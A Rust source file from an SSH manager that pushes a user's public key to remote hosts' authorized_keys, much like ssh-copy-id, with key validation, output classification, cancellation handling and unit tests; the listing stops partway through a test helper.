Skip to main content

purple_ssh/
key_push.rs

1//! Push a public key onto a remote host's `~/.ssh/authorized_keys`.
2//!
3//! Equivalent of `ssh-copy-id` without the dependency: spawns a single
4//! ssh invocation per host, pipes the public key over stdin, and runs an
5//! idempotent shell snippet on the remote that creates `~/.ssh` if
6//! missing and appends the key only when it is not already present.
7//!
8//! The remote snippet never sees the pubkey via the shell command line
9//! (which would require fragile escaping). Stdin is the canonical channel
10//! for binary-ish content over SSH.
11
12use std::io::{Read, Write};
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::atomic::{AtomicBool, Ordering};
16use std::sync::{Arc, Mutex};
17
18use log::debug;
19
20use crate::snippet::ChildGuard;
21
22/// Outcome for one host in a push run. The renderer summarises these
23/// into a toast (when every entry is `Appended` / `AlreadyPresent`) or a
24/// sticky error block (when at least one is `Failed`). The two prompt
25/// variants leave the summary and open a dialog instead.
26#[derive(Debug, Clone, PartialEq, Eq)]
27pub enum KeyPushOutcome {
28    /// Pubkey was newly appended to the remote `authorized_keys`.
29    Appended,
30    /// Pubkey was already present in `authorized_keys`; nothing changed.
31    AlreadyPresent,
32    /// Push failed. Carries a scrubbed stderr excerpt (control chars
33    /// stripped, length-capped) so the user sees what went wrong without
34    /// leaking the full ssh-vvv firehose into the UI.
35    Failed(String),
36    /// ssh ended with `Permission denied` and the server still takes a
37    /// password. The TUI asks for one and pushes again. `host` is the hop
38    /// ssh named as refusing, which on a ProxyJump chain may be a bastion
39    /// rather than the target.
40    NeedsPassword {
41        detail: String,
42        host: Option<String>,
43    },
44    /// Strict host key checking refused a host that is not in
45    /// `known_hosts` yet. The TUI asks whether to trust it and pushes again.
46    /// `host` is the one ssh named, a bastion included.
47    UnknownHostKey {
48        detail: String,
49        host: Option<String>,
50    },
51}
52
53/// Authentication inputs for one host, resolved on the main thread before
54/// the worker spawns. `trust_new_host_key` is set only by the retry that
55/// follows the trust dialog.
56#[derive(Clone, Default, PartialEq, Eq)]
57pub struct PushAuth {
58    pub askpass: Option<String>,
59    pub session_password: Option<String>,
60    pub bw_session: Option<String>,
61    pub trust_new_host_key: bool,
62}
63
64// Hand-written so a stray `{:?}` can never print the password or the
65// Bitwarden token. Shows whether each is present, never its value.
66impl std::fmt::Debug for PushAuth {
67    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
68        f.debug_struct("PushAuth")
69            .field("askpass", &self.askpass)
70            .field("session_password", &self.session_password.is_some())
71            .field("bw_session", &self.bw_session.is_some())
72            .field("trust_new_host_key", &self.trust_new_host_key)
73            .finish()
74    }
75}
76
77/// The ssh child currently running, shared between the push worker and the
78/// UI thread. Esc and q terminate it through here, so a cancel acts within
79/// the SIGTERM grace window instead of waiting for ssh to give up.
80#[derive(Clone, Default)]
81pub struct InflightChild(Arc<Mutex<Option<Arc<ChildGuard>>>>);
82
83impl InflightChild {
84    fn set(&self, guard: Arc<ChildGuard>) {
85        *self.0.lock().unwrap_or_else(|e| e.into_inner()) = Some(guard);
86    }
87
88    fn clear(&self) {
89        self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
90    }
91
92    /// Kill the running child, if any. A no-op between hosts.
93    pub fn terminate(&self) {
94        let guard = self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
95        if let Some(g) = guard {
96            g.terminate();
97        }
98    }
99
100    #[cfg(test)]
101    pub(crate) fn is_set(&self) -> bool {
102        self.0.lock().unwrap_or_else(|e| e.into_inner()).is_some()
103    }
104}
105
106/// One row in the in-flight push result list. Populated as worker
107/// threads complete and surfaced to the UI via `AppEvent::KeyPushResult`.
108#[derive(Debug, Clone, PartialEq, Eq)]
109pub struct KeyPushResult {
110    pub alias: String,
111    pub outcome: KeyPushOutcome,
112}
113
114/// Reason recorded for a host the user aborted. Spelled once so the
115/// worker and the test that reads it cannot drift apart.
116const ABORTED: &str = "canceled";
117
118/// Maximum stderr length retained in `KeyPushOutcome::Failed`. Longer
119/// `ssh -v` output is truncated with an ellipsis so a single failure
120/// cannot blow out the sticky error overlay.
121const STDERR_BUDGET: usize = 200;
122
123/// Marker prefix written by the remote snippet on the final line of
124/// stdout. The prefix is unique enough that no realistic `.profile` or
125/// motd will collide. `classify_stdout` matches against this prefix so a
126/// shared-account host whose login banner echoes the word "APPENDED"
127/// cannot trick us into reporting success.
128const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
129const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
130const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
131
132/// Remote shell snippet that idempotently appends the pubkey to
133/// `~/.ssh/authorized_keys`. The pubkey arrives on stdin via `$(cat)` so
134/// no shell quoting of the key content is needed locally.
135///
136/// Permission policy: `~/.ssh` is chmod 700 only when we just created
137/// it (so a deliberately group-readable directory managed by Ansible or
138/// similar is left alone), and `authorized_keys` is chmod 600 only when
139/// the file is fresh. Both invariants are enforced via short-circuit:
140/// the absence test runs before the create, and the chmod runs only on
141/// the create branch. sshd's StrictModes requires the dir to be 700, so
142/// a wide-open dir we created is tightened immediately.
143///
144/// CRLF defence: $PUBKEY is normalised with `tr -d '\r'` before both the
145/// dedup match and the append, so a CRLF-terminated source file cannot
146/// produce a fresh duplicate per push. The file side already strips CR
147/// before matching so authorized_keys files edited with Windows tooling
148/// dedup correctly too.
149///
150/// The append uses `|| { ... exit 1; }` so a failed write (ENOSPC,
151/// read-only mount) emits APPEND_FAILED instead of silently claiming
152/// success on the redirect's exit code.
153///
154/// Output contract (always the last non-empty line of stdout):
155/// - `__PURPLE_KEY_PUSH:APPENDED__`        - key was newly written
156/// - `__PURPLE_KEY_PUSH:ALREADY_PRESENT__` - key was already in file
157/// - `__PURPLE_KEY_PUSH:APPEND_FAILED__`   - append redirect failed
158/// - anything else                          - classified as Failed
159const REMOTE_SNIPPET: &str = r#"umask 077
160if [ ! -d ~/.ssh ]; then
161  mkdir -p ~/.ssh
162  chmod 700 ~/.ssh
163fi
164if [ ! -f ~/.ssh/authorized_keys ]; then
165  touch ~/.ssh/authorized_keys
166  chmod 600 ~/.ssh/authorized_keys
167fi
168PUBKEY=$(cat | tr -d '\r')
169if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
170  echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
171  exit 0
172fi
173printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
174echo __PURPLE_KEY_PUSH:APPENDED__
175"#;
176
177/// Parse the remote snippet's stdout into an outcome. Pure helper so the
178/// worker and tests share the same classification. Match is against the
179/// last non-empty line (stripped of trailing CR) so motd or login-banner
180/// output before the marker is tolerated.
181pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
182    let trimmed = stdout.trim();
183    let last = trimmed
184        .lines()
185        .map(|l| l.trim_end_matches('\r').trim())
186        .rfind(|l| !l.is_empty())?;
187    match last {
188        MARKER_APPENDED => Some(KeyPushOutcome::Appended),
189        MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
190        MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
191            "remote append failed (disk full, read-only mount?)".to_string(),
192        )),
193        _ => None,
194    }
195}
196
197/// Scrub stderr for display in the UI. Drops ANSI escapes, control bytes,
198/// then caps at `STDERR_BUDGET` chars with an ellipsis. Joins multiple
199/// lines with a single space so the error sticky overlay can render the
200/// scrubbed text on one row.
201fn scrub_stderr(raw: &str) -> String {
202    let cleaned: String = raw
203        .chars()
204        .filter(|c| !c.is_control() || *c == '\n')
205        .collect();
206    let joined = cleaned
207        .lines()
208        .map(str::trim)
209        .filter(|l| !l.is_empty())
210        .collect::<Vec<_>>()
211        .join(" ");
212    if joined.chars().count() > STDERR_BUDGET {
213        joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
214    } else {
215        joined
216    }
217}
218
219/// Build the ssh command for one push. Pure, so tests can inspect argv and
220/// env without spawning anything.
221///
222/// The child never reaches the tty: strict host key checking turns an
223/// unknown host into an error (`accept-new` on the retry after the trust
224/// dialog) and `BatchMode=yes` turns a password prompt into `Permission
225/// denied` when neither a source nor a session password can answer it.
226pub(crate) fn build_push_command(alias: &str, config_path: &Path, auth: &PushAuth) -> Command {
227    let mut cmd = Command::new("ssh");
228    cmd.arg("-F")
229        .arg(config_path)
230        .arg("-T")
231        .arg("-o")
232        .arg("ConnectTimeout=10")
233        // ServerAliveInterval/CountMax bound the post-auth phase:
234        // ConnectTimeout only covers the TCP/handshake. Without these,
235        // a remote NFS-stalled `~/.ssh/authorized_keys` or a hung shell
236        // could block the wait indefinitely. 10s × 3 = 30s worst case
237        // after auth before SSH tears down the session.
238        .arg("-o")
239        .arg("ServerAliveInterval=10")
240        .arg("-o")
241        .arg("ServerAliveCountMax=3")
242        .arg("-o")
243        .arg("ControlMaster=no")
244        .arg("-o")
245        .arg("ControlPath=none");
246    let strict = if auth.trust_new_host_key {
247        "StrictHostKeyChecking=accept-new"
248    } else {
249        "StrictHostKeyChecking=yes"
250    };
251    cmd.arg("-o")
252        .arg(strict)
253        .arg("-o")
254        .arg(crate::askpass_env::SINGLE_PASSWORD_PROMPT_OPT);
255    if crate::askpass_env::needs_batch_mode(
256        auth.askpass.as_deref(),
257        auth.session_password.as_deref(),
258    ) {
259        cmd.arg("-o").arg(crate::askpass_env::BATCH_MODE_OPT);
260    }
261    cmd.arg("--")
262        .arg(alias)
263        .arg(REMOTE_SNIPPET)
264        .stdin(Stdio::piped())
265        .stdout(Stdio::piped())
266        .stderr(Stdio::piped());
267
268    crate::askpass_env::configure_auth(
269        &mut cmd,
270        alias,
271        config_path,
272        auth.askpass.as_deref(),
273        auth.session_password.as_deref(),
274        auth.bw_session.as_deref(),
275        true,
276    );
277
278    // Own process group: cancel and shutdown signal ssh together with any
279    // ProxyCommand it spawned. A Ctrl+C aimed at purple never reaches them.
280    #[cfg(unix)]
281    // SAFETY: pre_exec runs after fork, before exec in the child. setpgid(0, 0)
282    // is async-signal-safe (POSIX) and touches no Rust runtime state. The
283    // return value is ignored: a failed setpgid leaves ssh in purple's group,
284    // which still pushes.
285    unsafe {
286        use std::os::unix::process::CommandExt;
287        cmd.pre_exec(|| {
288            libc::setpgid(0, 0);
289            Ok(())
290        });
291    }
292    cmd
293}
294
295/// Push `pubkey` to the remote `alias` over SSH. Synchronous: spawns the
296/// command from `build_push_command`, pipes `pubkey` to stdin, waits for the
297/// child to finish and returns the parsed outcome. The cancel flag is
298/// observed before the spawn so a rapid Esc after launching the batch can
299/// short-circuit pending hosts. The running child is registered in
300/// `inflight` so the same Esc can kill it mid-connection.
301pub fn push_to_host(
302    pubkey: &str,
303    alias: &str,
304    config_path: &Path,
305    auth: &PushAuth,
306    cancel: &Arc<AtomicBool>,
307    inflight: &InflightChild,
308) -> KeyPushOutcome {
309    if cancel.load(Ordering::Relaxed) {
310        return KeyPushOutcome::Failed(ABORTED.to_string());
311    }
312
313    let mut cmd = build_push_command(alias, config_path, auth);
314
315    let mut child = match cmd.spawn() {
316        Ok(c) => c,
317        Err(e) => {
318            debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
319            return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
320        }
321    };
322
323    let stdin = child.stdin.take();
324    let stdout_pipe = child.stdout.take();
325    let stderr_pipe = child.stderr.take();
326    let guard = Arc::new(ChildGuard::new(child));
327    inflight.set(Arc::clone(&guard));
328
329    // Pipe the pubkey with a trailing newline so `printf '%s\n' "$PUBKEY"`
330    // on the remote produces an exact `authorized_keys` line.
331    if let Some(mut stdin) = stdin {
332        let payload = if pubkey.ends_with('\n') {
333            pubkey.to_string()
334        } else {
335            format!("{}\n", pubkey)
336        };
337        if let Err(e) = stdin.write_all(payload.as_bytes()) {
338            debug!(
339                "[purple] key_push: stdin write failed alias={} err={}",
340                alias, e
341            );
342            guard.terminate();
343            inflight.clear();
344            return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
345        }
346        // Drop stdin so the remote `cat` receives EOF.
347        drop(stdin);
348    }
349
350    // Drain both pipes on their own threads so a chatty remote cannot block
351    // on a full pipe. The wait stays on this thread because it is what
352    // escalates a cancel to SIGKILL and sweeps the process group. Reading
353    // here instead would park this thread on a pipe that a `ProxyCommand`
354    // outliving ssh still holds open, and the escalation would never run.
355    let stdout_reader = std::thread::spawn(move || {
356        let mut buf = Vec::new();
357        if let Some(mut pipe) = stdout_pipe {
358            let _ = pipe.read_to_end(&mut buf);
359        }
360        buf
361    });
362    let stderr_reader = std::thread::spawn(move || {
363        let mut buf = Vec::new();
364        if let Some(mut pipe) = stderr_pipe {
365            let _ = pipe.read_to_end(&mut buf);
366        }
367        buf
368    });
369
370    let status = guard.wait();
371    inflight.clear();
372    let stdout_buf = stdout_reader.join().unwrap_or_default();
373    let stderr_buf = stderr_reader.join().unwrap_or_default();
374
375    let Some(status) = status else {
376        debug!("[purple] key_push: wait failed alias={}", alias);
377        return KeyPushOutcome::Failed("wait ssh: child already reaped".to_string());
378    };
379
380    if cancel.load(Ordering::Relaxed) {
381        debug!(
382            "[purple] key_push: cancel hit mid-connection alias={}",
383            alias
384        );
385        return KeyPushOutcome::Failed(ABORTED.to_string());
386    }
387
388    let stdout = String::from_utf8_lossy(&stdout_buf);
389    let stderr = String::from_utf8_lossy(&stderr_buf);
390
391    if !status.success() {
392        // Classify on the raw stderr: the scrubbed excerpt is capped and a
393        // long warning prefix could push the decisive line past the cap.
394        let filtered = crate::file_browser::filter_ssh_warnings(&stderr);
395        let scrubbed = scrub_stderr(&filtered);
396        let msg = if scrubbed.is_empty() {
397            format!("ssh exited {}", status)
398        } else {
399            scrubbed
400        };
401        if crate::connection::is_unknown_host_key(&stderr) {
402            let host = crate::connection::unknown_host_key_host(&stderr).map(str::to_string);
403            debug!(
404                "[purple] key_push: unknown host key alias={} host={:?} status={}",
405                alias, host, status
406            );
407            return KeyPushOutcome::UnknownHostKey { detail: msg, host };
408        }
409        if crate::connection::needs_password(&stderr) {
410            let host = crate::connection::denied_host(&stderr).map(str::to_string);
411            debug!(
412                "[purple] key_push: needs password alias={} refused_by={:?} status={}",
413                alias, host, status
414            );
415            return KeyPushOutcome::NeedsPassword { detail: msg, host };
416        }
417        debug!(
418            "[purple] key_push: failed alias={} status={} stderr={}",
419            alias, status, msg
420        );
421        return KeyPushOutcome::Failed(msg);
422    }
423
424    match classify_stdout(&stdout) {
425        Some(outcome) => {
426            debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
427            outcome
428        }
429        None => {
430            let preview = scrub_stderr(&stdout);
431            KeyPushOutcome::Failed(format!(
432                "unexpected snippet output: {}",
433                if preview.is_empty() {
434                    "(empty)"
435                } else {
436                    &preview
437                }
438            ))
439        }
440    }
441}
442
443/// Maximum size of a `.pub` file we will accept. OpenSSH's RSA-8192 keys
444/// serialise to ~3 KiB; we cap at 16 KiB to leave headroom for comments
445/// and reject pathological inputs (symlinks to logs, /dev/urandom).
446pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
447
448/// Public-key type tokens we will push. Limited to the OpenSSH algorithms
449/// that produce valid `authorized_keys` entries. Cert tokens (e.g.
450/// `ssh-ed25519-cert-v01@openssh.com`) are intentionally excluded: pushing
451/// a certificate as a static key bypasses its TTL.
452const ALLOWED_KEY_TYPES: &[&str] = &[
453    "ssh-rsa",
454    "ssh-ed25519",
455    "ssh-dss",
456    "ecdsa-sha2-nistp256",
457    "ecdsa-sha2-nistp384",
458    "ecdsa-sha2-nistp521",
459    "sk-ssh-ed25519@openssh.com",
460    "sk-ecdsa-sha2-nistp256@openssh.com",
461];
462
463/// Validation outcome for a public-key file's contents.
464#[derive(Debug, Clone, PartialEq, Eq)]
465pub enum PubkeyValidationError {
466    Empty,
467    MultiLine,
468    UnsupportedType(String),
469    MalformedBase64,
470    TooLarge(u64),
471    NotARegularFile,
472}
473
474/// Parse and validate a `.pub` file's contents into a single canonical
475/// `authorized_keys` line. Rejects multi-line input (which would silently
476/// install several keys, including embedded `command=` clauses), unknown
477/// algorithms, and unparseable base64 bodies. The returned string is
478/// trimmed of trailing whitespace / CR so the remote `grep -qxF` dedup
479/// step matches byte-for-byte across pushes.
480pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
481    let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
482    if trimmed.is_empty() {
483        return Err(PubkeyValidationError::Empty);
484    }
485    if trimmed.lines().count() != 1 {
486        return Err(PubkeyValidationError::MultiLine);
487    }
488    let mut parts = trimmed.splitn(3, ' ');
489    let typ = parts.next().unwrap_or("");
490    let blob = parts.next().unwrap_or("");
491    if !ALLOWED_KEY_TYPES.contains(&typ) {
492        return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
493    }
494    if blob.is_empty() {
495        return Err(PubkeyValidationError::MalformedBase64);
496    }
497    use base64::Engine;
498    if base64::engine::general_purpose::STANDARD
499        .decode(blob.as_bytes())
500        .is_err()
501    {
502        return Err(PubkeyValidationError::MalformedBase64);
503    }
504    Ok(trimmed.to_string())
505}
506
507/// Read a `.pub` file with a hard byte cap and reject anything that is
508/// not a regular file. On Unix the open uses `O_NOFOLLOW` so a symlink at
509/// the .pub path errors out instead of silently dereferencing into a log
510/// file or `/dev/urandom`.
511pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
512    use std::io::Read;
513    let mut opts = std::fs::OpenOptions::new();
514    opts.read(true);
515    #[cfg(unix)]
516    {
517        use std::os::unix::fs::OpenOptionsExt;
518        opts.custom_flags(libc::O_NOFOLLOW);
519    }
520    let f = opts
521        .open(path)
522        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
523    let meta = f
524        .metadata()
525        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
526    if !meta.file_type().is_file() {
527        return Err(PubkeyValidationError::NotARegularFile);
528    }
529    if meta.len() > PUBKEY_MAX_BYTES {
530        return Err(PubkeyValidationError::TooLarge(meta.len()));
531    }
532    let mut buf = String::new();
533    f.take(PUBKEY_MAX_BYTES)
534        .read_to_string(&mut buf)
535        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
536    Ok(buf)
537}
538
539/// Resolve the local public-key path for a key whose `display_path` is
540/// `~/.ssh/id_ed25519`. Expands the tilde and appends `.pub`. The caller
541/// is expected to validate the file exists before reading.
542pub fn pubkey_path_for(paths: Option<&crate::runtime::env::Paths>, display_path: &str) -> PathBuf {
543    let with_pub = format!("{}.pub", display_path);
544    if let Some(rest) = with_pub.strip_prefix("~/")
545        && let Some(p) = paths
546    {
547        return p.home().join(rest);
548    }
549    PathBuf::from(with_pub)
550}
551
552#[cfg(test)]
553mod tests {
554    use super::*;
555
556    #[test]
557    fn classify_stdout_appended() {
558        assert_eq!(
559            classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
560            Some(KeyPushOutcome::Appended)
561        );
562    }
563
564    #[test]
565    fn classify_stdout_already_present() {
566        assert_eq!(
567            classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
568            Some(KeyPushOutcome::AlreadyPresent)
569        );
570    }
571
572    #[test]
573    fn classify_stdout_append_failed() {
574        match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
575            Some(KeyPushOutcome::Failed(_)) => {}
576            other => panic!("expected Failed, got {:?}", other),
577        }
578    }
579
580    #[test]
581    fn classify_stdout_motd_then_marker() {
582        // SSH-of-the-day banners or `.profile` output may print before
583        // our marker. Last non-empty line still wins.
584        let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
585        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
586    }
587
588    #[test]
589    fn classify_stdout_motd_word_collision_does_not_match() {
590        // Adversarial: a banner that contains the bare word "APPENDED"
591        // must NOT be classified as success. The namespaced marker
592        // prevents collision.
593        let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
594        assert_eq!(classify_stdout(stdout), None);
595    }
596
597    #[test]
598    fn classify_stdout_crlf_line_endings() {
599        // Some shells emit CRLF over SSH ptys. The classifier strips the
600        // trailing CR so the marker still matches.
601        let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
602        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
603    }
604
605    #[test]
606    fn classify_stdout_unknown_returns_none() {
607        assert_eq!(classify_stdout("hello\nworld\n"), None);
608    }
609
610    #[test]
611    fn classify_stdout_empty_returns_none() {
612        assert_eq!(classify_stdout(""), None);
613        assert_eq!(classify_stdout("\n\n"), None);
614    }
615
616    #[test]
617    fn scrub_stderr_drops_control_bytes() {
618        // ANSI-stripped: ESC[31mError\x1b[0m
619        let raw = "\x1b[31mError: connection refused\x1b[0m\n";
620        let scrubbed = scrub_stderr(raw);
621        assert!(!scrubbed.contains('\x1b'));
622        assert!(scrubbed.contains("Error"));
623    }
624
625    #[test]
626    fn scrub_stderr_joins_lines() {
627        let raw = "line1\nline2\nline3\n";
628        assert_eq!(scrub_stderr(raw), "line1 line2 line3");
629    }
630
631    #[test]
632    fn scrub_stderr_truncates_long_input() {
633        let raw = "x".repeat(STDERR_BUDGET * 2);
634        let scrubbed = scrub_stderr(&raw);
635        assert!(scrubbed.ends_with("..."));
636        assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
637    }
638
639    #[test]
640    fn scrub_stderr_empty_input() {
641        assert_eq!(scrub_stderr(""), "");
642        assert_eq!(scrub_stderr("   \n\n  \n"), "");
643    }
644
645    #[test]
646    fn pubkey_path_appends_pub_suffix() {
647        let p = pubkey_path_for(None, "/tmp/id_ed25519");
648        assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
649    }
650
651    #[test]
652    fn pubkey_path_expands_tilde() {
653        let paths = crate::runtime::env::Paths::new("/home/u");
654        let p = pubkey_path_for(Some(&paths), "~/.ssh/id_ed25519");
655        assert!(!p.to_string_lossy().starts_with('~'));
656        assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
657    }
658
659    #[test]
660    fn push_to_host_short_circuits_when_cancel_is_set() {
661        // Cancel before spawn must return the abort reason without
662        // touching ssh. We point at a path that does not exist on disk
663        // so a buggy implementation that DID try to spawn would fail
664        // loudly instead of silently succeeding.
665        let cancel = Arc::new(AtomicBool::new(true));
666        let inflight = InflightChild::default();
667        let outcome = push_to_host(
668            "ssh-ed25519 AAAA test@host",
669            "this-alias-does-not-exist",
670            std::path::Path::new("/tmp/purple-nonexistent-config"),
671            &PushAuth::default(),
672            &cancel,
673            &inflight,
674        );
675        match outcome {
676            KeyPushOutcome::Failed(msg) => {
677                assert!(
678                    msg.contains("cancel"),
679                    "expected cancel message, got: {}",
680                    msg
681                );
682            }
683            other => panic!("expected Failed(cancelled), got {:?}", other),
684        }
685        assert!(!inflight.is_set(), "no child was spawned");
686    }
687
688    #[test]
689    fn push_to_host_against_missing_config_fails_and_clears_inflight() {
690        // A real spawn against a config path that does not exist: ssh
691        // exits at once with a non-zero status. The inflight slot must be
692        // empty afterwards so a later cancel never signals a reaped PID.
693        let cancel = Arc::new(AtomicBool::new(false));
694        let inflight = InflightChild::default();
695        let outcome = push_to_host(
696            "ssh-ed25519 AAAA test@host",
697            "this-alias-does-not-exist",
698            std::path::Path::new("/tmp/purple-nonexistent-config"),
699            &PushAuth::default(),
700            &cancel,
701            &inflight,
702        );
703        assert!(
704            matches!(outcome, KeyPushOutcome::Failed(_)),
705            "got {outcome:?}"
706        );
707        assert!(!inflight.is_set());
708    }
709
710    #[test]
711    fn inflight_terminate_kills_a_running_child() {
712        // A `sleep` in its own process group stands in for a stuck ssh.
713        let mut cmd = Command::new("sleep");
714        cmd.arg("30");
715        #[cfg(unix)]
716        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
717        // no Rust runtime state.
718        unsafe {
719            use std::os::unix::process::CommandExt;
720            cmd.pre_exec(|| {
721                libc::setpgid(0, 0);
722                Ok(())
723            });
724        }
725        let child = cmd.spawn().expect("spawn sleep");
726        let guard = Arc::new(ChildGuard::new(child));
727        let inflight = InflightChild::default();
728        inflight.set(Arc::clone(&guard));
729        assert!(inflight.is_set());
730        let started = std::time::Instant::now();
731        inflight.terminate();
732        // Esc and quit both call this from the UI thread, so it signals and
733        // returns rather than standing through the grace window.
734        assert!(
735            started.elapsed() < std::time::Duration::from_millis(100),
736            "terminate held the caller for {:?}",
737            started.elapsed()
738        );
739        assert!(!inflight.is_set());
740        // The owner's wait returns promptly with the signal status.
741        let status = guard.wait();
742        assert!(started.elapsed() < std::time::Duration::from_secs(5));
743        assert!(status.is_some_and(|s| !s.success()));
744    }
745
746    #[cfg(unix)]
747    #[test]
748    fn a_child_that_ignores_sigterm_is_killed_by_the_waiting_thread() {
749        // terminate only signals now, so the escalation has to come from
750        // whichever thread is in wait. A shell that traps SIGTERM proves it.
751        // The shell ignores SIGTERM and outlives the `sleep` children that
752        // do take it, so only SIGKILL ends this process group.
753        let mut cmd = Command::new("sh");
754        cmd.arg("-c")
755            .arg("trap '' TERM; while :; do sleep 0.05; done");
756        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
757        // no Rust runtime state.
758        unsafe {
759            use std::os::unix::process::CommandExt;
760            cmd.pre_exec(|| {
761                libc::setpgid(0, 0);
762                Ok(())
763            });
764        }
765        let child = cmd.spawn().expect("spawn sh");
766        let guard = Arc::new(ChildGuard::new(child));
767        // Let the shell reach its `trap` first. Signaled before that, it
768        // dies on SIGTERM like any other process and proves nothing.
769        std::thread::sleep(std::time::Duration::from_millis(300));
770        // The waiter reports through a channel rather than a join, so a
771        // broken escalation fails this test instead of hanging the suite.
772        let (tx, rx) = std::sync::mpsc::channel();
773        {
774            let guard = Arc::clone(&guard);
775            std::thread::spawn(move || {
776                let _ = tx.send(guard.wait());
777            });
778        }
779        let started = std::time::Instant::now();
780        guard.terminate();
781        assert!(
782            started.elapsed() < std::time::Duration::from_millis(100),
783            "terminate held the caller for {:?}",
784            started.elapsed()
785        );
786        let status = rx
787            .recv_timeout(std::time::Duration::from_secs(5))
788            .expect("the waiting thread must escalate to SIGKILL");
789        use std::os::unix::process::ExitStatusExt;
790        assert_eq!(
791            status.and_then(|s| s.signal()),
792            Some(libc::SIGKILL),
793            "SIGTERM was ignored, so only SIGKILL can have ended it"
794        );
795    }
796
797    #[test]
798    #[cfg(unix)]
799    fn a_stopped_run_sweeps_a_process_left_holding_the_pipe() {
800        // ssh dies on SIGTERM long before a ProxyCommand it spawned has to,
801        // and that command inherits ssh's stderr. Here the outer shell is
802        // the one that dies and the inner one holds the pipe, so the reader
803        // reaches EOF only once the group itself is swept. The inner shell
804        // gives up on its own after ten seconds, so a regression leaves no
805        // process behind.
806        let mut cmd = Command::new("sh");
807        cmd.arg("-c")
808            .arg(
809                "sh -c \"trap '' TERM; i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec sleep 30",
810            )
811            .stdout(Stdio::piped())
812            .stderr(Stdio::piped());
813        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
814        // no Rust runtime state.
815        unsafe {
816            use std::os::unix::process::CommandExt;
817            cmd.pre_exec(|| {
818                libc::setpgid(0, 0);
819                Ok(())
820            });
821        }
822        let mut child = cmd.spawn().expect("spawn sh");
823        let stderr_pipe = child.stderr.take();
824        let guard = Arc::new(ChildGuard::new(child));
825        // Let the inner shell reach its trap before anything is signaled.
826        std::thread::sleep(std::time::Duration::from_millis(300));
827
828        // The reader reports through a channel so a regression fails this
829        // test instead of hanging the suite.
830        let (tx, rx) = std::sync::mpsc::channel();
831        std::thread::spawn(move || {
832            let mut buf = Vec::new();
833            if let Some(mut pipe) = stderr_pipe {
834                let _ = pipe.read_to_end(&mut buf);
835            }
836            let _ = tx.send(());
837        });
838
839        guard.terminate();
840        assert!(guard.wait().is_some(), "the child itself is reaped");
841        rx.recv_timeout(std::time::Duration::from_secs(5))
842            .expect("the reader must reach EOF once the group is swept");
843    }
844
845    #[test]
846    #[cfg(unix)]
847    fn a_run_that_ends_on_its_own_sweeps_the_group_too() {
848        // ssh can exit cleanly while something it spawned keeps the
849        // inherited stderr open, and no cancel ever arrives. The reader
850        // reaches EOF only because the sweep runs on every reap. The inner
851        // shell gives up on its own after ten seconds, so a regression
852        // leaves no process behind.
853        let mut cmd = Command::new("sh");
854        cmd.arg("-c")
855            .arg("sh -c \"i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec true")
856            .stdout(Stdio::piped())
857            .stderr(Stdio::piped());
858        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
859        // no Rust runtime state.
860        unsafe {
861            use std::os::unix::process::CommandExt;
862            cmd.pre_exec(|| {
863                libc::setpgid(0, 0);
864                Ok(())
865            });
866        }
867        let mut child = cmd.spawn().expect("spawn sh");
868        let stderr_pipe = child.stderr.take();
869        let guard = Arc::new(ChildGuard::new(child));
870
871        let (tx, rx) = std::sync::mpsc::channel();
872        std::thread::spawn(move || {
873            let mut buf = Vec::new();
874            if let Some(mut pipe) = stderr_pipe {
875                let _ = pipe.read_to_end(&mut buf);
876            }
877            let _ = tx.send(());
878        });
879
880        // No terminate: this is the clean-exit path.
881        assert!(guard.wait().is_some(), "the child itself is reaped");
882        rx.recv_timeout(std::time::Duration::from_secs(5))
883            .expect("the reader must reach EOF without a cancel");
884    }
885
886    fn push_args(auth: &PushAuth) -> Vec<String> {
